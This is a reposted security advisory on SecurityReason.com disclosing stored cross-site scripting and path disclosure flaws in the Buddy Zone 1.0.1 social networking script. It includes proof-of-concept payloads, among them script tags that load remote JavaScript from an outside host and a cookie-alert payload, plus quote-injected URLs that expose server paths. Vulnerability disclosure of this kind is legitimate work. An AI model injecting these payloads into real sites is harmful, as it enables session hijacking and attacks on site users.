Buddy Zone Version 1.0.1 - XSS - SecurityReason.com

Advisory Content :

Buddy Zone Version 1.0.1

Homepage:

http://www.vastal.com/buddy-zone-social-networking-script.html

Affected files:

*Sending invitations

*Profiles

*Blogs

*Journals

*Posting comments

*Posting in the forum

*Sending mail

*Creating a group

view_sub_forum.php

view_post.php

view_classifieds.php

view_ad.php

view_event.php

delete_event.php

edit_event.php

view_group.php

*Posting a event

-------------------------------------------------

XSS vuln with session disclosure when signing up & sending invites:

Data isn't sanatized before being generated here. For a PoC as your first
name, last name, city etc, put <script>alert(document.cookie)</script>.
When sending an invite to people this XSS vuln is also displayed in the
email it sends, since it says your first & last name.

Screenshots:

http://www.youfucktard.com/xsp/buddyzone1.jpg

http://www.youfucktard.com/xsp/buddyzone2.jpg

http://www.youfucktard.com/xsp/buddyzone3.jpg

Since your name as well as other info shows up in your profile, viewing
profiles also can create this XSS. Other input boxes in profiles that are
vulnerable to this are:

*Headline

*About me

*Like to meet me

*Interests

*Music

*Movies

*Television

*Books

*Hereos

Basically, at this time, all input boxes when editing a profile are.

-----------------------------------------------

XSS vuln when posting comments in blogs and profiles:

Same as above, data is not sanatized here either. For a PoC as a blog
comment put:

<script>alert('XSS')</script>

When comments is profiles this also works. For a PoC try putting:

<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>

----------------------------------------------

XSS vuln when posting in the forum:

Same as above, with no filter evasion as your forum body input put:

<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>

----------------------------------------------

XSS vuln when posting a journal entry:

Same as above, with no filter evasion as your journal entry or title put:

<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>

------------------------------------------------

XSS vuln when sending mail:

Same as above, with no filter evasion, as your mail msg title and/or
subject put:

<script src=http://www.youfucktard.com/xss.js></script>

----------------------------------------

XSS vuln when creating a group:

Same as above with no evasion, as your group name or description put:

<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>

------------------------------------------

Full path disclosure via view_sub_forum.php.

URL:

http://www.example.com/view_sub_forum.php?main_cat='

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in
/mounted-storage/home20b/sub001/sc20289-DAPC/domain/user/classes/forum.c
lass.php on line 162

More full path disclosures:

http://www.example.com/view_classifieds.php?cat_id=8'

http://www.example.com/view_ad.php?id=4'

http://www.exmaple.com/view_event.php?event_id=8'

http://www.example.com/delete_event.php?event_id='

http://www.example.com/edit_event.php?event_id='

http://www.exmaple.com/view_group.php?group_id='

------------------------------------------------

XSS vuln when posting a event:

Data isn't sanatized here either, for a PoC as event name, description, or
long description put:

<script>alert('xss')</script>

-----------------------------------------------

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Buddy Zone Version 1.0.1 - XSS